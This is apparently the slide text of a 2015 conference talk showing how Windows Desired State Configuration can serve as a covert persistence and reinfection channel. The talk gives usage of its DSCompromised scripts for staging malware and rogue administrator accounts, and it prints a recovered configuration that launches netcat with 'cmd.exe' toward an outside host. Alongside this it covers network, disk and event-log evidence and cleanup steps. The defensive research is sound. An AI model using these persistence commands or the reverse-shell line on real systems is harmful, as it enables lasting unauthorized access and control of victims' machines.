Desired State: Compromised

BruCon 2015

Matt Hastings, Ryan Kazanciyan
Hello!

Ryan Kazanciyan

- Chief Security Architect, Tanium
- 12 years background in incident response, forensics, and pen-testing

Matt Hastings

- Security Director, Tanium
- Forensics, incident response, scripting, research & development
Agenda

● Background
● DSCompromised Framework and Attack Scenarios
● Sources of evidence
● Areas for future research and work
What the $%#$% is Desired State Configuration?
Windows DSC 101

- Next-gen configuration management platform for Windows
- Instrumented via PowerShell
- Uses standard Managed Object Format (MOF) files
- Does not require Active Directory (unlike SCCM)
- Similarities to Puppet & Chef
  - DSC is not a complete solution stack
  - DSC implements the configuration layer
  - Puppet and Chef can interoperate with DSC
What can DSC do?

Ensure that a desired “state” of the system is maintained over time

- Download and create files and directories
- Execute processes
- Run scripts
- Create users and assign group membership
- Control Windows services
- Manage registry keys and values
- Install software
DSC Workflow: Author, Stage, Implement

Create configuration

MOF file

Stage configuration on Pull Server

[or]

Stage configuration on Push Server

SMB, HTTP, or HTTPS

Consume and implement configuration

WinRM

Check for config “drift”, re-enforce as needed
Sorry, no zero-days...

We have not...

● Exploited vulnerabilities in DSC
● Identified ways to escalate privileges with DSC

We have...

● Utilized DSC as a covert persistence mechanism
● Simplified the process to weaponize DSC
● Identified the telltale evidence of DSC misuse
Why is DSC an interesting attacker tool?

- Obscure and flexible persistence mechanism
- Not detected or examined by most security tools
- Automatic re-infection if not properly remediated
What are its limitations?

- Difficult to learn and use
  - Simplified by our PowerShell scripts
  - Troubleshooting can be painful

- Requires PowerShell 4.0 on victim and “C2” server
  - Windows 8.1 and later
  - Server 2012 R2 and later
  - Optional WMF upgrade on earlier versions

- Requires Administrator privileges on victim host
  - Post-compromise persistence
Introducing the DSCompromised Framework
DSCompromised Framework

- PowerShell scripts to setup DSC “C2” server, build payloads, infect victims

- Components:
  - Configure-Server.ps1
  - Configure-Payload.ps1
  - Configure-User.ps1
  - Configure-Victim.ps1

- [https://github.com/matthastings/DSCompromised](https://github.com/matthastings/DSCompromised)
Our approach: DSC “pull” mode

- Emulate a real C2 server
- Victim client initiates “beacon” requests via HTTP/s
- Server can be on the internet or victim’s internal network
  - Attacker-controlled server preferable
  - Significant footprint to install DSC hosting components

Configure DSC Pull Server (C2 server)

Create malicious configuration to host on Pull Server

HTTP/s

Consume and implement config on victim host(s)

Configure Server.ps1

Configure Payload.ps1

Configure User.ps1

Configure Victim.ps1
Attack Scenario: Persist Malware

- Infect victim machine with backdoor malware
- Ensure the malware continues to execute and remain on disk
- Re-infect victim automatically if remediated
Demo video: Persisting malware with DSC
Attack Scenario: Step 0

Configure C2 Server by installing DSC services

- Add DSC Service Role:
  `Add-WindowsFeature Dsc-Service`

- Install Microsoft DSC Resource Kit:
  `xPSDesiredStateConfiguration`

- Run server setup script included with DSCompromised framework:
  `Configure-Server.ps1`
PS C:\> Configure-Server -CompliancePort 9000 -ConfigPort 443

- Configure server as a DSC pull server
- -CompliancePort
  - Port where compliance server is hosted (optional)
  - Default value ‘9080’
- -ConfigPort
  - Port where configurations are hosted (optional)
  - Default value ‘8080’
Attack Scenario: Step 1

Build and host payload configuration on DSC C2 server

- Copy malware executable file to DSC C2 server
- Use DSCompromised script to ingest malware and build configuration payload: Configure-Payload.ps1
- Script generates configuration MOF with unique GUID name
Configure-Payload.ps1

PS C:\> Configure-Payload -SourceFile C:\evil.exe -DestinationPath C:\Windows\NotEvil.exe -Arguments "foo bar"

- Create payload configuration hosted on DSC pull server
- -SourceFile
  - Local path to malware executable file
  - Contents stored as byte array in configuration MOF
- -DestinationPath
  - Location on victim where file will be created
- -Arguments
  - Arguments passed for process execution (optional)
- Output
  - MOF and checksum files named with unique GUID
  - Stored in C:\Program Files\WindowsPowerShell\DscService\Configuration
Attack Scenario: Step 2

- Execute `Configure-Victim.psl` on victim
  - Ensures WinRM enabled
  - Takes GUID and server address as parameters
  - Configures LCM to use remote DSC pull server
Attack Scenario: Step 3

Victim automatically downloads and applies configuration

- Configuration MOF drops embedded malware on disk and executes
- Attacker proceeds to interact with system via running backdoor
Configure-Victim.ps1

PS C:\> Configure-Victim -GUID {GUID} -Server 8.8.8.8 -Port 443 -MofPath C:\Temp\Temp.mof

- Runs on victim
- -GUID
  - GUID of configuration to download
- -Server
  - Pull server network address
- -Port
  - Pull server listening port (optional; default 8080)
- -MofPath
  - Location where temporary MOF file is written (optional)
Victim LCM Configuration

- **AllowModuleOverwrite = $True**
  - Overwrite with newer configuration

- **ConfigurationModeFrequencyMins = 15**
  - Minutes between LCM checks that system is in compliance with config
  - Hardcoded minimum 15 minutes

- **ConfigurationMode = 'ApplyAndAutoCorrect'**
  - How policy is applied

- **RefreshFrequencyMins = 30**
  - Minutes between communication with pull server for updated config
  - Hardcoded minimum 30 minutes

- **RefreshMode = 'Pull'**
  - How configurations are gathered (Pull or Push)
Attack Scenario: Step 4

Blue team Taylor Swift detects malware on disk

- Kills process
- Deletes file
- Shakes it off
15 minutes later...
Attack Scenario: Step 5

- Victim is automatically reinfected
  - DSC consistency check runs every fifteen minutes via scheduled task
  - Malware is re-created on victim host and executes again
  - Attacker regains access to victim machine
Attack Scenario: Step 6

- **Attacker decides to deploy new malware**
  - Updates configuration on remote pull server
    - Drop & run new malware
    - Enact other changes
  - At next consistency check, victim automatically pulls and applies new configuration
Success!
Attack Scenario: Persist User Account

- Create an unauthorized local account with an attacker-chosen password
- Ensure user is a member of a specific group, such as local administrators
- Automatically re-add account and restore group membership if deleted or changed
Demo video:
Persisting a rogue account with DSC
Configure-User.ps1

PS C:\> Configure-User -Username test_user -Password Long_And_Complex! -Group RemoteAdmins

- Create user configuration hosted on DSC server
- `-Username`
  - User to be created on victim
- `-Password`
  - Must meet victim’s password complexity requirements
- `-Group`
  - Local group of which user should be a member (optional)
  - Default ‘Administrators’
- Output
  - MOF and checksum files named with unique GUID
  - Stored in C:\Program Files\WindowsPowerShell\DscService\Configuration
Sources of evidence:
DSC use and abuse
Network traffic

You probably shouldn’t see these requests leave your network…
(unless you legitimately use an external DSC server!)

POST /psdscpullserver.svc/Action(ConfigurationId='a8540639-cd47-462d-ae75-415158f60a99')/GetAction

GET /psdscpullserver.svc/Action(ConfigurationId='a8540639-cd47-462d-ae75-415158f60a99')/ConfigurationContent
Where do DSC configs reside on disk?

```
PS C:\windows\system32\configuration> dir

Directory: C:\windows\system32\configuration

Mode     LastWriteTime     Length  Name
-------- --------------- -------- ----
d--s     9/29/2013 8:50 PM  BaseRegistration
-d-s     8/22/2013 8:36 AM  Registration
-d-s     8/22/2013 8:36 AM  Schema
-a---   10/3/2015 12:14 PM 273678 backup.mof
-a---   10/3/2015 12:14 PM 273678 Current.mof
-a---   10/3/2015 12:14 PM  64 Current.mof.checksum
-a---   10/3/2015 1:16 PM  198 DSCEngineCache.mof
-a---   10/3/2015 12:13 PM 1362 MetaConfig.mof
-a---   10/3/2015 1:16 PM  21 PullRunLog.txt
```

```
PS C:\windows\system32\configuration> type .\PullRunLog.txt
0 2015-10-03T13:16:01
PS C:\windows\system32\configuration>
```
instance of MSFT_KeyValuePair as $Alias00000000
{
    Key = "ServerUrl";
    Value = "http://130.211.179.159:8080/psdscpullserver.svc";
};

instance of MSFT_KeyValuePair as $Alias00000001
{
    Key = "AllowUnsecureConnection";
    Value = "TRUE";
};

instance of MSFT_DSCMetaConfiguration
{
    ConfigurationModeFrequencyMins = 15;
    RebootNodeIfNeeded = False;
    ConfigurationMode = "ApplyAndAutoCorrect";
    RefreshMode = "Pull";
    ConfigurationID = "394aa115-a360-4662-9505-58471d7f12d7";
    DownloadManagerName = "WebDownloadManager";
    DownloadManagerCustomData = {"$Alias00000000", "$Alias00000001"};
    RefreshFrequencyMins = 30;
    AllowModuleOverwrite = True;
**Configure-Victim script creates pull setup MOF**

System creates initial LCM meta config

Task Manager creates DSC Consistency and Boot Tasks

System writes to DSC Operational Event Log

---

**File system during “infection”**

<table>
<thead>
<tr>
<th>Time (UTC)</th>
<th>Process Name</th>
<th>PID</th>
<th>Operation</th>
<th>User</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>2015-10-03 19:05:42...</td>
<td>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</td>
<td>3520</td>
<td>CreateNewFile</td>
<td>Ryan Ka...</td>
<td>C:\Windows\System32\Configuration\PullConfig.mof</td>
</tr>
<tr>
<td>2015-10-03 19:05:42...</td>
<td>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</td>
<td>3520</td>
<td>CreateNewFile</td>
<td>Ryan Ka...</td>
<td>C:\Windows\System32\Configuration\PullConfig.mof\localhost.meta.mof</td>
</tr>
<tr>
<td>2015-10-03 19:05:42...</td>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>1912</td>
<td>CreateNewFile</td>
<td>SYSTEM</td>
<td>C:\Windows\System32\Configuration\MetaConfig.tmp.mof</td>
</tr>
<tr>
<td>2015-10-03 19:05:42...</td>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>1912</td>
<td>CreateNewFile</td>
<td>SYSTEM</td>
<td>C:\Windows\Temp\LCM81E3.tmp</td>
</tr>
<tr>
<td>2015-10-03 19:05:43...</td>
<td>C:\Windows\System32\svchost.exe</td>
<td>864</td>
<td>CreateNewFile</td>
<td>SYSTEM</td>
<td>C:\Windows\System32\Tasks\Microsoft\Windows\Desired State Configuration</td>
</tr>
<tr>
<td>2015-10-03 19:05:43...</td>
<td>C:\Windows\System32\svchost.exe</td>
<td>864</td>
<td>CreateNewFile</td>
<td>SYSTEM</td>
<td>C:\Windows\System32\Tasks\Microsoft\Windows\Desired State Configuration\Consistency</td>
</tr>
<tr>
<td>2015-10-03 19:05:43...</td>
<td>C:\Windows\System32\svchost.exe</td>
<td>864</td>
<td>CreateNewFile</td>
<td>SYSTEM</td>
<td>C:\Windows\Temp\LCM81E3.tmp</td>
</tr>
<tr>
<td>2015-10-03 19:05:43...</td>
<td>C:\Windows\System32\svchost.exe</td>
<td>864</td>
<td>CreateNewFile</td>
<td>SYSTEM</td>
<td>C:\Windows\Temp\LCM81E3.tmp</td>
</tr>
<tr>
<td>2015-10-03 19:05:44...</td>
<td>C:\Windows\System32\svchost.exe</td>
<td>852</td>
<td>CreateNewFile</td>
<td>LOCAL...</td>
<td>C:\Windows\System32\winevt\Logs\Microsoft-Windows-DSC%4Operational.evtx</td>
</tr>
</tbody>
</table>

(File system during “infection” continues...)

---

*<snip>*
File system during “infection”

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Command</th>
<th>Path</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>2015-10-03</td>
<td>19:05:51</td>
<td>CreateNewFile</td>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>System creates temp copy of downloaded “payload” MOF</td>
</tr>
<tr>
<td>2015-10-03</td>
<td>19:05:51</td>
<td>CreateNewFile</td>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>System creates temp copy of downloaded “payload” MOF</td>
</tr>
<tr>
<td>2015-10-03</td>
<td>19:05:51</td>
<td>CreateNewFile</td>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>System creates temp copy of downloaded “payload” MOF</td>
</tr>
<tr>
<td>2015-10-03</td>
<td>19:05:51</td>
<td>CreateNewFile</td>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>System creates temp copy of downloaded “payload” MOF</td>
</tr>
<tr>
<td>2015-10-03</td>
<td>19:05:51</td>
<td>CreateNewFile</td>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>System creates temp copy of downloaded “payload” MOF</td>
</tr>
<tr>
<td>2015-10-03</td>
<td>19:05:51</td>
<td>CreateNewFile</td>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>System creates temp copy of downloaded “payload” MOF</td>
</tr>
<tr>
<td>2015-10-03</td>
<td>19:05:52</td>
<td>CreateNewFile</td>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>System deletes temp copy of downloaded “payload” MOF</td>
</tr>
<tr>
<td>2015-10-03</td>
<td>19:05:52</td>
<td>CreateNewFile</td>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>System deletes temp copy of downloaded “payload” MOF</td>
</tr>
<tr>
<td>2015-10-03</td>
<td>19:05:52</td>
<td>CreateNewFile</td>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>System deletes temp copy of downloaded “payload” MOF</td>
</tr>
<tr>
<td>2015-10-03</td>
<td>19:05:52</td>
<td>CreateNewFile</td>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>System deletes temp copy of downloaded “payload” MOF</td>
</tr>
<tr>
<td>2015-10-03</td>
<td>19:05:52</td>
<td>CreateNewFile</td>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>System deletes temp copy of downloaded “payload” MOF</td>
</tr>
<tr>
<td>2015-10-03</td>
<td>19:05:52</td>
<td>CreateNewFile</td>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>System deletes temp copy of downloaded “payload” MOF</td>
</tr>
<tr>
<td>2015-10-03</td>
<td>19:05:52</td>
<td>CreateNewFile</td>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>System deletes temp copy of downloaded “payload” MOF</td>
</tr>
<tr>
<td>2015-10-03</td>
<td>19:05:52</td>
<td>CreateNewFile</td>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>System deletes temp copy of downloaded “payload” MOF</td>
</tr>
<tr>
<td>2015-10-03</td>
<td>19:05:52</td>
<td>CreateNewFile</td>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>System deletes temp copy of downloaded “payload” MOF</td>
</tr>
<tr>
<td>2015-10-03</td>
<td>19:05:52</td>
<td>CreateNewFile</td>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>System deletes temp copy of downloaded “payload” MOF</td>
</tr>
<tr>
<td>2015-10-03</td>
<td>19:05:52</td>
<td>CreateNewFile</td>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>System deletes temp copy of downloaded “payload” MOF</td>
</tr>
<tr>
<td>2015-10-03</td>
<td>19:05:52</td>
<td>CreateNewFile</td>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>System deletes temp copy of downloaded “payload” MOF</td>
</tr>
<tr>
<td>2015-10-03</td>
<td>19:05:52</td>
<td>CreateNewFile</td>
<td>C:\Windows\System32\wbem\WmiPrvSE.exe</td>
<td>System deletes temp copy of downloaded “payload” MOF</td>
</tr>
</tbody>
</table>

Malware dropped by payload MOF

Pull timestamp added to “PullRunLog.txt”

Configure-Victim script deletes setup MOF

Current and backup config set to “payload” MOF

System deletes temp copy of downloaded “payload” MOF
Event logs: DSC Operational

Upon running Configure-Victim.ps1
Event logs: DSC Operational (cont’d)
Event logs: Task Scheduler

DSC tasks registered and updated during first setup
PS query: Malware config

Get-DscConfiguration

```
$GetScript = GetScript
$SetScript = $SetScript
$TestScript = $TestScript

$bytes = [byte[]]('77 90 144 0 3 0 0 0 4 184 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 128 0 0 0 14 31 186 14 0 180 9 205 33 184 1 76 205 112 114 111 103 114 97 109 32 99 97 110 110 111 116 32 98 10 105 110 32 68 79 83 32 109 111 100 101 46 13 13 10 36 0 0 0 134 7 0 147 47 15 77 0 0 0 0 0 0 0 240 0 47 2 11 2 2 21 0 0 0 16 23 0 0 0 16 0 0 0 0 64 0 0 0 0 0 0 0 0 0 16 0 0 0 2 0 0 4 0
```
PS query: Malware config (cont’d)

```powershell
TestScript :

Test-Path 'c:\nc64.exe'

PSComputerName :

Credential :

GetScript :

return @{
    GetScript = $GetScript
    SetScript = $SetScript
    TestScript = $TestScript
}

Result :

GetScript :

if ('-e cmd.exe 130.211.1234' -eq '') {
    Start-Process 'c:\nc64.exe'
} else {
    Start-Process 'c:\nc64.exe' '-e cmd.exe 130.211.1234'
}

TestScript :

(get-process).path -contains 'c:\nc64.exe'
```
PS query: User config

PS C:\windows\system32> Get-DscConfiguration

Description : 
Disabled : False
Ensure : Present
FullName : 
Password : 
PasswordChangeNotAllowed : False
PasswordChangeRequired : 
PasswordNeverExpires : False
UserName : evilUser
PSComputerName : 

Credential : 
Description : Administrators have complete and unrestricted access to the computer/domain
Ensure : Present
GroupName : Administrators
Members : {}
MembersToExclude : [Administrator, dscvictim, evilUser]
MembersToInclude : 
PSComputerName : 

43
PS query: LCM configuration

```
PS C:\windows\system32> Get-DscLocalConfigurationManager

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>ActionAfterReboot</td>
<td>ContinueConfiguration</td>
</tr>
<tr>
<td>AllowModuleOverwrite</td>
<td>True</td>
</tr>
<tr>
<td>CertificateID</td>
<td></td>
</tr>
<tr>
<td>ConfigurationID</td>
<td>ca28d4d8-a82b-48e7-8a5c-36c60edf132a</td>
</tr>
<tr>
<td>ConfigurationMode</td>
<td>ApplyAndAutoCorrect</td>
</tr>
<tr>
<td>ConfigurationModeFrequencyMins</td>
<td>15</td>
</tr>
<tr>
<td>Credential</td>
<td></td>
</tr>
<tr>
<td>DebugMode</td>
<td>{NONE}</td>
</tr>
<tr>
<td>DownloadManagerCustomData</td>
<td>{MSFT_KeyValuePair (key = &quot;ServerUrl&quot;), MSFT_ KeyValuePair (key = &quot;AllowUnsecureConnection&quot;))}</td>
</tr>
<tr>
<td>DownloadManagerName</td>
<td>WebDownloadManager</td>
</tr>
<tr>
<td>LCMCompatibleVersions</td>
<td>{1.0}</td>
</tr>
<tr>
<td>LCMState</td>
<td>Idle</td>
</tr>
<tr>
<td>LCMVersion</td>
<td>1.0</td>
</tr>
<tr>
<td>RebootNodeIfNeeded</td>
<td>False</td>
</tr>
<tr>
<td>RefreshFrequencyMins</td>
<td>30</td>
</tr>
<tr>
<td>RefreshMode</td>
<td>Pull</td>
</tr>
<tr>
<td>PSComputerName</td>
<td></td>
</tr>
</tbody>
</table>
```
Clean-up / DSC removal

- Delete MOF files from `C:\Windows\system32\configuration`
  - Current.mof
  - Current.mof.checksum
  - Pending.mof
  - Backup.mof
  - MetaConfig.mof
  - MetaConfig.backup.mof

- System will no longer “re-infect” at next consistency check
What’s next?
DSC is probably here to stay

- Held back by lack of easy-to-use tools and legacy versions of Windows
- DSC Resource Kit open sourced in June
- Increasing number of popular use-cases
  - Windows Nano Server management
  - Azure VM management
- We have not yet seen these attack techniques in the wild
DSCompromised roadmap

- MOAR capabilities!
- Modularize configurations
- Auto dissolve
- Dynamically update existing configs
- Utilize compliance server to track victims
Thank you!

matt.hastings [at] tanium.com
@_mhastings_

ryan.kazanciyan [at] tanium.com
@ryankaz42